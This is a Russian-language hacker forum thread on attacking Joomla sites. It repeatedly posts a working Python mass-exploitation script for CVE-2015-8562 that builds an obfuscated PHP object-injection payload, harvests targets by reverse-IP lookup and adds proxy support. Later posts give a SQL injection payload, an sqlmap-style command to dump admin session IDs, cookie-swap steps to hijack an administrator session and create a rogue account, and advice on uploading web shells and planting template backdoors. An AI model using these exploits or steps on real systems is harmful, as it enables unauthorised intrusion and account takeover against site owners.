#print sites
print "Total " +str(len(sites)) + " sites to check"
check_sites(sites, pl, write_log, log_file)
elif(read_file):
fh = open(read_file,"r")
data = fh.readlines()
fh.close()
print "Total " +str(len(data)) + " sites to check"
check_sites(data, pl, write_log, log_file)

Надеюсь кому-нибудь пригодится.

Filipp
21.12.2015, 18:03
Нашел онлайн тулзу для чека CVE-2015-8562: https://scan.patrolserver.com/joomla/CVE-2015-8562

nitupme
21.12.2015, 21:39
↑ (https://antichat.live/posts/3929517/)
Выкладываю свою поделку для проверки списка сайтов на CVE-2015-8562. Скрипт работает в двух режимах: можно указать домен, по которому будет осуществлен reverse ip lookup и получен список сайтов для проверки или же задать файл со списком сайтов. В случае если сайт уязвим, программа выведет "exploitable". Есть возможность результат записать в лог-файл. Сильно не пинайте, посоны, код корявенький, работает тоже не шибко шустро. Да, и еще, обратите внимание на название заголовка, который используется - сейчас он еще работает там, где уже фильтруется UA.

'''
joomla rce masschek for CVE-2015-8562
bb special for antichat.ru
thx to: Gary@Sec-1 ltd, antichat community
19.12.2015
'''
import sys
import re
import requests
import getopt

message = "--"
def get_url(url, user_agent):
global message
headers = {
#'User-Agent': user_agent
'x-forwarded-for': user_agent
}
response = None
try:
cookies = requests.get(url,headers=headers).cookies

for _ in range(3):
response = requests.get(url, headers=headers,cookies=cookies)
except Exception as ex:
#print ex.message
message = "Error: " + str(ex.message)
if response:
#print "got response"
#print response.content
return response.content
return None

def php_str_noquotes(data):
"Convert string to chr(xx).chr(xx) for use in php"
encoded = ""
for char in data:
encoded += "chr({0}).".format(ord(char))
return encoded[:-1]
def generate_payload(php_payload):
php_payload = "eval({0})".format(php_str_noquotes(php_payload))
terminate = '\xf0\xfd\xfd\xfd';
exploit_template = r'''}__test|O:21:"JDatabaseDriverMysqli":3:{s:2:"fc";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:8:"feed_url";'''
injected_payload = "{};JFactory::getConfig();exit".format(php_payload)
exploit_template += r'''s:{0}:"{1}"'''.format(str(len(injected_payload)), injected_payload)
exploit_template += r''';s:19:"cache_name_function";s:6:"assert";s:5:"cache";b:1;s:11:"cache_class";O:20:"JDatabaseDriverMysql":0:{}}i:1;s:4:"init";}}s:13:"\0\0\0connection";b:1;}''' + terminate
return exploit_template
def get_site_list(domain):
url = "http://viewdns.info/reverseip/?host=" + domain + "&t=1"
headers = {

'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'

}

#print url
try:
response = requests.get(url, headers = headers)
text = response.content
#print text
sites = re.findall("\s+(.*?)"
print "Options:"
print "-d, --domain domain for reverse lookup on viewdns.info"
print "-f, --file file with site list to check"
print "-l, --log save result to log file"
print "Example: "+sys.argv[0]+" --file domains.txt --log output.txt"

pl = generate_payload("phpinfo();")
#text = get_url(host, pl)

#write log?
write_log = False
log_file = ""
domain = ""
read_file = ""
opts, args = getopt.getopt(sys.argv[1:], "f:d:l:", ["file=","domain=","log="]);

for opt, arg in opts:
if opt in("-f", "--file"):
read_file = arg
elif opt in("-d", "--domain"):
domain = arg
elif opt in("-l", "--log"):
log_file = arg
write_log = True

if(domain and read_file):
usage()
exit()

if(domain == "" and read_file == ""):
usage()
exit()

if(write_log == True):

fh = open(log_file, "w")
fh.close()

#use file or get domains from viewdns.info

if(domain):
sites = get_site_list(domain)
#print sites
print "Total " +str(len(sites)) + " sites to check"
check_sites(sites, pl, write_log, log_file)
elif(read_file):
fh = open(read_file,"r")
data = fh.readlines()
fh.close()
print "Total " +str(len(data)) + " sites to check"
check_sites(data, pl, write_log, log_file)

Надеюсь кому-нибудь пригодится.



Зависает - скорее всего если сайт недоступен. Допиши плиз чтобы таймаут был. JOOMLA 1 и 2 не пробивает в чем может быть дело. Проверял 500 доменов. 3 - отлично сканирует.

grimnir
24.12.2015, 17:51
http://www.joomlaexploit.com/ БД уязвимостей джумлы.

private_static
26.12.2015, 02:59
↑ (https://antichat.live/posts/3929517/)
Выкладываю свою поделку для проверки списка сайтов на CVE-2015-8562. Скрипт работает в двух режимах: можно указать домен, по которому будет осуществлен reverse ip lookup и получен список сайтов для проверки или же задать файл со списком сайтов. В случае если сайт уязвим, программа выведет "exploitable". Есть возможность результат записать в лог-файл. Сильно не пинайте, посоны, код корявенький, работает тоже не шибко шустро. Да, и еще, обратите внимание на название заголовка, который используется - сейчас он еще работает там, где уже фильтруется UA.

'''
joomla rce masschek for CVE-2015-8562
bb special for antichat.ru
thx to: Gary@Sec-1 ltd, antichat community
19.12.2015
'''
import sys
import re
import requests
import getopt

message = "--"
def get_url(url, user_agent):
global message
headers = {
#'User-Agent': user_agent
'x-forwarded-for': user_agent
}
response = None
try:
cookies = requests.get(url, timeout=15, headers=headers).cookies

for _ in range(3):
response = requests.get(url, timeout=15, headers=headers,cookies=cookies)
except Exception as ex:
#print ex.message
message = "Error: " + str(ex.message)
if response:
#print "got response"
#print response.content
return response.content
return None

def php_str_noquotes(data):
"Convert string to chr(xx).chr(xx) for use in php"
encoded = ""
for char in data:
encoded += "chr({0}).".format(ord(char))
return encoded[:-1]
def generate_payload(php_payload):
php_payload = "eval({0})".format(php_str_noquotes(php_payload))
terminate = '\xf0\xfd\xfd\xfd';
exploit_template = r'''}__test|O:21:"JDatabaseDriverMysqli":3:{s:2:"fc";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:8:"feed_url";'''
injected_payload = "{};JFactory::getConfig();exit".format(php_payload)
exploit_template += r'''s:{0}:"{1}"'''.format(str(len(injected_payload)), injected_payload)
exploit_template += r''';s:19:"cache_name_function";s:6:"assert";s:5:"cache";b:1;s:11:"cache_class";O:20:"JDatabaseDriverMysql":0:{}}i:1;s:4:"init";}}s:13:"\0\0\0connection";b:1;}''' + terminate
return exploit_template
def get_site_list(domain):
url = "http://viewdns.info/reverseip/?host=" + domain + "&t=1"
headers = {

'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'

}

#print url
try:
response = requests.get(url, timeout=15, headers = headers)
text = response.content
#print text
sites = re.findall("\s+(.*?)"
print "Options:"
print "-d, --domain domain for reverse lookup on viewdns.info"
print "-f, --file file with site list to check"
print "-l, --log save result to log file"
print "Example: "+sys.argv[0]+" --file domains.txt --log output.txt"

pl = generate_payload("phpinfo();")
#text = get_url(host, pl)

#write log?
write_log = False
log_file = ""
domain = ""
read_file = ""
opts, args = getopt.getopt(sys.argv[1:], "f:d:l:", ["file=","domain=","log="]);

for opt, arg in opts:
if opt in("-f", "--file"):
read_file = arg
elif opt in("-d", "--domain"):
domain = arg
elif opt in("-l", "--log"):
log_file = arg
write_log = True

if(domain and read_file):
usage()
exit()

if(domain == "" and read_file == ""):
usage()
exit()

if(write_log == True):

fh = open(log_file, "w")
fh.close()

#use file or get domains from viewdns.info

if(domain):
sites = get_site_list(domain)
#print sites
print "Total " +str(len(sites)) + " sites to check"
check_sites(sites, pl, write_log, log_file)
elif(read_file):
fh = open(read_file,"r")
data = fh.readlines()
fh.close()
print "Total " +str(len(data)) + " sites to check"
check_sites(data, pl, write_log, log_file)

Надеюсь кому-нибудь пригодится.


прикрутил поддержку работы через http прокси


'''
joomla rce masschek for CVE-2015-8562
bb special for antichat.ru
thx to: Gary@Sec-1 ltd, antichat community
19.12.2015
'''
import getopt
import re
import requests
import sys

message = "--"
proxy = {}

def get_ip():
ip = requests.get('http://icanhazip.com', proxies=proxy).content
return ip

def get_url(url, user_agent):
global message
headers = {
# 'User-Agent': user_agent
'x-forwarded-for': user_agent
}
response = None
try:
cookies = requests.get(url, timeout=15, headers=headers, proxies=proxy).cookies
for i in xrange(3):
response = requests.get(url, timeout=15, headers=headers, cookies=cookies, proxies=proxy)
except Exception as ex:
message = "Error: " + str(ex.message)
if response:
return response.content
return None

def php_str_noquotes(data):
"Convert string to chr(xx).chr(xx) for use in php"
encoded = ""
for char in data:
encoded += "chr({0}).".format(ord(char))
return encoded[:-1]

def generate_payload(php_payload):
php_payload = "eval({0})".format(php_str_noquotes(php_payload))
terminate = '\xf0\xfd\xfd\xfd'
exploit_template = r'''}__test|O:21:"JDatabaseDriverMysqli":3:{s:2:"fc";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:8:"feed_url";'''
injected_payload = "{};JFactory::getConfig();exit".format(php_payload)
exploit_template += r'''s:{0}:"{1}"'''.format(str(len(injected_payload)), injected_payload)
exploit_template += r''';s:19:"cache_name_function";s:6:"assert";s:5:"cache";b:1;s:11:"cache_class";O:20:"JDatabaseDriverMysql":0:{}}i:1;s:4:"init";}}s:13:"\0\0\0connection";b:1;}''' + terminate
return exploit_template

def get_site_list(domain):
url = "http://viewdns.info/reverseip/?host=" + domain + "&t=1"
headers = {

'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'

}

try:
response = requests.get(url, timeout=15, headers=headers, proxies=proxy)
text = response.content
sites = re.findall("\s+(.*?)"
print "Options:"
print "-d, --domain domain for reverse lookup on viewdns.info"
print "-f, --file file with site list to check"
print "-l, --log save result to log file"
print "-p, --proxy use http proxy"
print "Example: " + sys.argv[0] + " --file domains.txt --log output.txt --proxy 127.0.0.1:3128"

pl = generate_payload("phpinfo();")

write_log = False
log_file = ""
domain = ""
read_file = ""
opts, args = getopt.getopt(sys.argv[1:], "f:d:l:p:", ["file=", "domain=", "log=", "proxy="]);

for opt, arg in opts:
if opt in ("-f", "--file"):
read_file = arg
elif opt in ("-d", "--domain"):
domain = arg
elif opt in ("-l", "--log"):
log_file = arg
write_log = True
elif opt in ("-p", "--proxy"):
proxy_data = ""
arg = arg.lower()
if not arg.startswith("http://"):
proxy_data = "http://" + arg
else:
proxy_data = arg
proxy["http"] = proxy_data

if (domain and read_file or domain == "" and read_file == ""):
usage()
exit()

if (write_log):
fh = open(log_file, "w")
fh.close()

# use file or get domains from viewdns.info

if (domain):
sites = get_site_list(domain)
print "Total " + str(len(sites)) + " sites to check"
check_sites(sites, pl, write_log, log_file)
elif (read_file):
fh = open(read_file, "r")
data = fh.readlines()
fh.close()
print "Total " + str(len(data)) + " sites to check"
check_sites(data, pl, write_log, log_file)

юзается так: --proxy ip:рort

blackhead
30.12.2015, 19:11
↑ (https://antichat.live/posts/3928733/)
Подкоректировал сплоит (
https://www.exploit-db.com/exploits/38977/
)


Ребята подскажите как пользоваться (с Python'ом (http://python.su/forum/29/)не знаком). Запускаю так cmd -> C:\Python\python.exe C:\sploit.py на долю секунды появляется окно и исчезает.

nick_sale
31.12.2015, 00:27
↑ (https://antichat.live/posts/3934250/)
Ребята подскажите как пользоваться (с
Python'ом (http://python.su/forum/29/)
не знаком). Запускаю так cmd -> C:\Python\python.exe C:\sploit.py на долю секунды появляется окно и исчезает.


Для начала тебе надо поставить библиотеку requests.

Открываешь консоль переходишь в папку \Python\Scripts и дальше пишешь коммнду pip install requests, либо easy_install requests.

Все просто

Telariust
19.02.2016, 11:23
Joomla 3.x

Раскрытие пути

Работает вне зависимости от "error_reporting" и "display_errors"

/index.php?option=com_ajax&format=debug&module=1

Например, полный путь необходим для выгрузки в файл [sql-inj]+into+outfile+'/path/to/joomla/cache/s.php'--+-

Telariust
20.02.2016, 08:51
Joomla 3.x

RSS - Раскрытие email пользователей и их ранга.

(или как узнать mail админа)

/index.php?format=feed&type=rss

или

/index.php?format=feed&type=atom

Каждое сообщение подписано, ищем строчки вроде:

mymail@myjoomla.com (mailto:mymail@myjoomla.com) (Super User)

mymail@myjoomla.com (mailto:mymail@myjoomla.com) (Ichthus)

winstrool
09.11.2016, 12:35
↑ (https://antichat.live/posts/4011090/)
странно почему здесь никто не обсуждает уязвимости свежии джумлы


А что там обсуждать? все предельно просто и понятно!, создаете админа, заходите, заливаетесь....

jakonda1001
09.11.2016, 15:01
↑ (https://antichat.live/posts/4011225/)
А что там обсуждать? все предельно просто и понятно!, создаете админа, заходите, заливаетесь....


а еще подробнее?)

Filipp
11.11.2016, 11:52
↑ (https://antichat.live/posts/4011225/)
А что там обсуждать? все предельно просто и понятно!, создаете админа, заходите, заливаетесь....


Если бы не это, в /components/com_users/controllers/registration.php, то вообще ништяк:


// If user registration or account activation is disabled, throw a 403.
if ($uParams->get('useractivation') ==0||$uParams->get('allowUserRegistration') ==0)
{
JError::raiseError(403,JText::_('JLIB_APPLICATION_ ERROR_ACCESS_FORBIDDEN'));
returnfalse;
}



↑ (https://antichat.live/posts/4011277/)
а еще подробнее?)


Дак вот даже полноценный сплоит написали: https://github.com/XiphosResearch/exploits/tree/master/Joomraa

По поводу аплоада шелла -- в debian'оподобных системах можно залить шелл с расширением pht. Джумла смотрит внутри файла html-теги и шорт-теги php, однако они забыли фильтровать тег

axelmill
17.11.2016, 20:36
Подскажите, пожалуйста, по этой уязвимости. Если залитый .pht не выполняется, а выводится просто plain текстом при всех добавленных расширениях. Не вариант залиться?

3acuson
18.11.2016, 16:30
↑ (https://antichat.live/posts/4014266/)
Подскажите, пожалуйста, по этой уязвимости. Если залитый .pht не выполняется, а выводится просто plain текстом при всех добавленных расширениях. Не вариант залиться?


Как вариант поискать модули,компоненты где можно устанавливать шаблоны и т.к

winstrool
18.11.2016, 19:19
↑ (https://antichat.live/posts/4014266/)
Подскажите, пожалуйста, по этой уязвимости. Если залитый .pht не выполняется, а выводится просто plain текстом при всех добавленных расширениях. Не вариант залиться?


А в чем проблема простой php залить?

3acuson
18.11.2016, 21:50
почти везде вот такая хрень там

SetHandler application/x-httpd-php

.php просто не заливается

winstrool
18.11.2016, 22:57
↑ (https://antichat.live/posts/4014631/)
почти везде вот такая хрень там

SetHandler application/x-httpd-php

.php просто не заливается


Почти везде? точно знаете? ну вот банально на днях сайт лечил там расширение было .php. и вполне нормально шел выполнялся, на хостинге timewe, второй момент, если есть возможность редактировать шаблон, то можно встроить в него бегдор и переименовать .htaccess чтоб не мешался, третий момент, в зависимости от установленных расширений, в них тоже попадаются баги которые бывает приводят к RCE, что может помочь залить шелл, на примере того же RSForm, я так понял вы пытаетесь пробить конкретную площадку, а не массово, тут все индивидуально!

Filipp
19.11.2016, 01:41
↑ (https://antichat.live/posts/4014266/)
Подскажите, пожалуйста, по этой уязвимости. Если залитый .pht не выполняется, а выводится просто plain текстом при всех добавленных расширениях. Не вариант залиться?


Еще раз говорю, pht работает в дебиано-подобных системах. На какой-нить CentOS это работать не будет.

axelmill
28.11.2016, 22:56
↑ (https://antichat.live/posts/4014676/)
Еще раз говорю, pht работает в дебиано-подобных системах. На какой-нить CentOS это работать не будет.


Да не работает pht в этом случае

Ищу вариант залиться. Есть CVE-2016-9081, позволяющая перезаписать данные суперпользователя, но получается такая фигня

http://i.imgur.com/673Ucu8.png

Супер-пользователь будет не активирован, а при переходе по ссылке активации из email:


Предупреждение




Не удалось зарегистрировать пользователя: Не удалось сохранить данные об активации учётной записи: User not Super Administrator



Существует ли способ активировать супер-пользователя?

nitupme
15.12.2016, 16:04
еще откопали


Project: Joomla!

SubProject: CMS

Severity: High

Versions: 1.6.0 through 3.6.4

Exploit type: Elevated Privileges

Reported Date: 2016-November-04

Fixed Date: 2016-December-06

CVE Number: CVE-2016-9838 (https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-9838)
КТО знает как работает?

nitupme
15.12.2016, 16:41
внесены изменения: разница между 3.6.4 и 3.6.5

1. /+//plugins/authentication/joomla/joomla.php

JUserHelper::hashPassword($credentials['password']);

2. /+//libraries/cms/form/field/usergrouplist.php

$checkSuperUser = (int) $this->getAttribute('checksuperusergroup', 0);

$isSuperUser = JFactory::getUser()->authorise('core.admin');

if ($checkSuperUser && !$isSuperUser && JAccess::checkGroup($group->id, 'core.admin'))

{

continue;

3. //libraries/joomla/access/access.php

return boolean|/+/null / True if a/-/uthorised/+/llowed, false for an explicit deny, null for an implicit deny

4. /+/ libraries/joomla/user/helper.php

* Check if there is a super user in the user ids.

* @param array $userIds An array of user IDs on which to operate

* @return (https://antichat.live/members/142582/) boolean True on success, false on failure

* @since 3.6.5

public static function checkSuperUserInUsers(array $userIds)

{

foreach ($userIds as $userId)

{

foreach (static::getUserGroups($userId) as $userGroupId)

{

if (JAccess::checkGroup($userGroupId, 'core.admin'))

{

return true;

}

}

}

return false;

5. libraries/joomla/user/user.php

return $this->isRoot ? true :/+/ (bool) /JAccess::check($this->id, $action, $assetname)

6. /components/com_users/models/registration.php

/- /

foreach ($temp as $k => $v)

{

/+/

$form = $this->getForm(array(), false);

foreach ($temp as $k => $v)

{

// Only merge the field if it exists in the form.

if ($form->getField($k) !== false)

{

7./administrator/components/com_config/model/component.php

/+/

// Check super user group.

if (isset($data['params']) && !JFactory::getUser()->authorise('core.admin'))

{

$form = $this->getForm(array(), false);

foreach ($form->getFieldsets() as $fieldset)

{

foreach ($form->getFieldset($fieldset->name) as $field)

{

if ($field->type === 'UserGroupList' && isset($data['params'][$field->fieldname])

&& (int) $field->getAttribute('checksuperusergroup', 0) === 1

&& JAccess::checkGroup($data['params'][$field->fieldname], 'core.admin'))

{

throw new RuntimeException(JText::_('JLIB_APPLICATION_ERROR_ SAVE_NOT_PERMITTED'));

8. /administrator/components/com_joomlaupdate/models/default.php

/-/ $basename = basename($packageURL)

/+/

;headers = get_headers($packageURL, 1);

// Follow the Location headers until the actual download URL is known

while (isset($headers['Location']))

{

$packageURL = $headers['Location'];

$headers = get_headers($packageURL, 1);

}

// Remove protocol, path and query string from URL

$basename = basename($packageURL);

if (strpos($basename, '?') !== false)

{

$basename = substr($basename, 0, strpos($basename, '?'));

}

9. /administrator/components/com_users/models/user.php

/+/ use Joomla\Utilities\ArrayHelper;

/+/

$user_ids = ArrayHelper::toInteger($user_ids);

// Check if I am a Super Admin

$iAmSuperAdmin = JFactory::getUser()->authorise('core.admin');

// Non-super super user cannot work with super-admin user.

if (!$iAmSuperAdmin && JUserHelper::checkSuperUserInUsers($user_ids))

{

$this->setError(JText::_('COM_USERS_ERROR_CANNOT_BATCH_SU PERUSER'));

return false;

/-/JArrayHelper::toInteger($user_ids);

/-/

// Get the DB object

$db = $this->getDbo();

JArrayHelper::toInteg

/+/

JArrayHelper::toInteger($user_ids);

// Check if I am a Super Admin

$iAmSuperAdmin = JFactory::getUser()->authorise('core.admin');

// Non-super super user cannot work with super-admin user.

if (!$iAmSuperAdmin && JUserHelper::checkSuperUserInUsers($user_ids)

{

$this->setError(JText::_('COM_USERS_ERROR_CANNOT_BATCH_SU PERUSER'));

return false;

========

if ((/-/!JFactory::getUser()->get('isRoot')/+/$iAmSuperAdmin /&& JAccess::checkGroup($group_id, 'core.admin')) || $group_id getDbo();

и в /administrator/components/com_users/config.xml

добавлено

proexp
26.01.2017, 22:41
Joomla! 2.5.2 - Admin Creation Exploit
(http://0day.today/exploit/26803)

http://0day.today/exploit/26803



У кого-нибудь получилось заюзать?

у меня выдает:


Traceback (most recent call last):
File "C:\Python27\jl.py", line 50, in
del data['jform[groups][]']
KeyError: 'jform[groups][]'

ZodiaX
27.01.2017, 11:05
↑ (https://antichat.live/posts/4040885/)
Joomla! 2.5.2 - Admin Creation Exploit
(http://0day.today/exploit/26803)

http://0day.today/exploit/26803

У кого-нибудь получилось заюзать?

у меня выдает:


Traceback (most recent call last):
File "C:\Python27\jl.py", line 50, in
del data['jform[groups][]']
KeyError: 'jform[groups][]'



#!/usr/bin/python3

ACat
10.03.2017, 02:06
Парни подскажите решение задачки:

джумла 3.4.3

Joomla 1.5 - 3.4.5 - Object Injection Remote Command Execution (который записует шелл туда, где можно пописать)

есть SQL Inj вполне рабочая

при обращении к файлу с расширением php получаем No input file specified. (не распространяется на папку administrator)

Есть пути сервера.

Вопрос, как понять что нужно, что бы заработал сплоит? возвращает 200

И еще, подскажите пожалуйста, как брутится соленый хеш от джумлы такого вида?

$2y$10$rla38JSwQPTNw6lEyvekK.tyWSm2vdZyGCMDa.eb9FT 6Jtoftz4E.

К нему нужна соль? Если да, то где ее искать.

Зарание спасибо.

nitupme
10.03.2017, 04:44
↑ (https://antichat.live/posts/4058263/)
Парни подскажите решение задачки:
джумла 3.4.3
Joomla 1.5 - 3.4.5 - Object Injection Remote Command Execution (который записует шелл туда, где можно пописать)
есть SQL Inj вполне рабочая
при обращении к файлу с расширением php получаем No input file specified. (не распространяется на папку administrator)
Есть пути сервера.
Вопрос, как понять что нужно, что бы заработал сплоит? возвращает 200
И еще, подскажите пожалуйста, как брутится соленый хеш от джумлы такого вида?
$2y$10$rla38JSwQPTNw6lEyvekK.tyWSm2vdZyGCMDa.eb9FT 6Jtoftz4E.
К нему нужна соль? Если да, то где ее искать.
Зарание спасибо.


1. Чтобы РСЕ сработал, нужно что бы еще и сам сервак был определенной версии

Проверять вот тут https://scan.patrolserver.com/joomla/CVE-2015-8562

2. Такой хеш НИЧЕМ не брутится.

=============================

Решение задачи:

1. Ждать пока админ зайдет на сайт, и спиздить сессию из таблицы xxxxx_sessions, только сначала посмотри последнюю дату визита админа. это может быть 1917 год и тогда это решение не прокатит. Если админ заходил на днях - лови его, через каждые 15 минут запускай

-u "САЙТ/index.php?option=com_contenthistory&view=history&list[ordering]=&item_id=1&type_id=1&list[select]=*" --where="guest=0" --dump -D НАЗВАНИЕ_БД -T ТВОЙПРЕФ_session -C session_id

ps. Если не получится скинь сайт в личку, гляну что с ним делать

ACat
10.03.2017, 12:10
Спасибо. Сплоит не сработал.

Сессии есть, но среди них нету не одной где guest=0

Как грамотно подставить джумловские кукисы?

в лс отписал.

За хеш не понял... как так-то?

nitupme
10.03.2017, 13:56
Блять нету потому что на сайте никого нету.

1. туда заходили вчера - значит сайт живой и ходят туда постоянно.

2. когда кто нибудь зайдет - появится сейссия guest=1

3. дампишь ее

4. я исплую плагин cookie manager для firefox

5. заходишь сайт.com/administrator

6. врубаешь cookie manager и ищеш сайт

7. заменяешь сессию

8. обновляешь страницу администратора и ты в админке

9. создаешь быстро юзера пока админ не вышел

ACat
10.03.2017, 18:26
Доступно, спасибо.

Ребят, а если я извлек из бд конструкцию ввида


__default|a:7:{s:15:"session.counter";i:1;s:19:"session.timer.start";i:1489159042;s:18:"session.timer.last";i:1489159042;s:17:"session.timer.now";i:1489159042;s:22:"session.client.browser";s:171:"Mozilla/5.0 (Linux; Android 4.4.4; SM-T116 Build/KTU84P) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/33.0.0.0 Safari/537.36 [FB_IAB/FB4A;FBAV/114.0.0.20.70;]";s:8:"registry";O:24:"Joomla\\Registry\\Registry":2:{s:7:"\\0\\0\\0data";O:8:"stdClass":0:{}s:9:"separator";s:1:".";}s:4:"user";O:5:"JUser":26:{s:9:"\\0\\0\\0isRoot";b:0;s:2:"id";i:0;s:4:"name";N;s:8:"username";N;s:5:"email";N;s:8:"password";N;s:14:"password_clear";s:0:"";s:5:"block";N;s:9:"sendEmail";i:0;s:12:"registerDate";N;s:13:"lastvisitDate";N;s:10:"activation";N;s:6:"params";N;s:6:"groups";a:1:{i:0;s:1:"1";}s:5:"guest";i:1;s:13:"lastResetTime";N;s:10:"resetCount";N;s:12:"requireReset";N;s:10:"\\0\\0\\0_params";O:24:"Joomla\\Registry\\Registry":2:{s:7:"\\0\\0\\0data";O:8:"stdClass":0:{}s:9:"separator";s:1:".";}s:14:"\\0\\0\\0_authGroups";a:1:{i:0;i:1;}s:14:"\\0\\0\\0_authLevels";a:2:{i:0;i:1;i:1;i:1;}s:15:"\\0\\0\\0_authActions";N;s:12:"\\0\\0\\0_errorMsg";N;s:13:"\\0\\0\\0userHelper";O:18:"JUserWrapperHelper":0:{}s:10:"\\0\\0\\0_errors";a:0:{}s:3:"aid";i:0;}}

как преобразовать это в кукис?

ACat
10.03.2017, 23:31
разобрался, все оказалось до боли просто.

Сори за флуд

mazaxaka
26.03.2017, 01:56
↑ (https://antichat.live/posts/4041038/)
#!/usr/bin/python3


на 3Х он тоже вроде работает, но сама уязвимость не срабатывает

Xeeper
03.04.2017, 13:32
Парни, подскажите пожалуйста, пытаюсь протестировать сайт с помощью следующего эксплоита:

http://pastebin.com/raw/Xs8k2cHG

Видео его работы тут:

Стоит Python 3

при попытке запуска файла с эксплоитом в интерпретаторе вылазеет ошибка:


line 48
print get_url(i, pl)
^
SyntaxError: invalid syntax

Подскажите что может быть не так?

cat1vo
04.04.2017, 02:44
↑ (https://antichat.live/posts/4068027/)
Парни, подскажите пожалуйста, пытаюсь протестировать сайт с помощью следующего эксплоита:
http://pastebin.com/raw/Xs8k2cHG
Видео его работы тут:
Стоит Python 3
при попытке запуска файла с эксплоитом в интерпретаторе вылазеет ошибка:

line 48
print get_url(i, pl)
^
SyntaxError: invalid syntax

Подскажите что может быть не так?


Оператор print был заменён функцией print(), с именованными аргументами для замены большей части синтаксиса старого оператора print

Используйте 2-ю версию python вместо 3 или перепишите код вручную под 3ю ветку

ACat
26.04.2017, 00:21
Парни, а если админ не заходит на сайт можно ли с помощью SQL inj попробовать востановить пароль админа?

winstrool
03.08.2017, 15:45
SQL-инъекция в компоненте ccNewsletter v2.1.9

option=com_ccnewsletter&view=detail&id=73&sbid=-3094 UNION ALL SELECT NULL,NULL,CONCAT(0x7162626a71,0x4357474c4d55647264 6b43704f44476e64694f6a6d6d6873795552656d5446767846 466e63677974,0x71766b6a71),NULL,NULL,NULL,NULL,NUL L,NULL,NULL-- CCQB&tmpl=newsletter

Источник https://waf.pentestit.ru/vulns/844

GreenGO
29.08.2017, 18:04
Вроде не было нигде.

SQL-инъекция joomla 3.x

Компонент option=com_faqftw уязвимый параметр item

serg1234
27.11.2017, 12:06
↑ (https://antichat.live/posts/4132652/)
Joomla! 3.7.5 - Takeover in 20 Seconds with LDAP Injection (https://blog.ripstech.com/2017/joomla-takeover-in-20-seconds-with-ldap-injection-cve-2017-14596/)
https://blog.ripstech.com/2017/joomla-takeover-in-20-seconds-with-ldap-injection-cve-2017-14596/


я новичек - подскажите как это использовать? )

pritomnik
27.11.2017, 21:21
↑ (https://antichat.live/posts/4154000/)
я новичек - подскажите как это использовать? )


В 99% случаях никак) Забудь!

serg1234
28.11.2017, 10:11
↑ (https://antichat.live/posts/4154199/)
В 99% случаях никак) Забудь!


ну 1% надежды - это уже немало! )

в принципе скрипт этот я нашел, но он не выполняет полный перебор - делает один цикл и завершает работу - не понятно пока отчего так

nitupme
10.10.2019, 20:00
https://www.exploit-db.com/exploits/47465 у кого нибудь сработало ?

Pop-Xlop
11.10.2019, 03:07
↑ (https://antichat.live/posts/4337604/)
https://www.exploit-db.com/exploits/47465
у кого нибудь сработало ?


Направление показано верное, а сплойт естественно работать не будет. Да и не актуально уже станет через пару дней.

winstrool
11.10.2019, 06:31
↑ (https://antichat.live/posts/4337604/)
https://www.exploit-db.com/exploits/47465
у кого нибудь сработало ?


Это старая бага, что была в jooml'e, Version: 3.0.0 --> 3.4.6, RCE через унсериализацию, просто видимо выложили свою реализацию эксплоита...

karkajoi
24.10.2019, 10:25
joomla 3.4.6 rce

https://www.exploit-db.com/exploits/47539 metasploit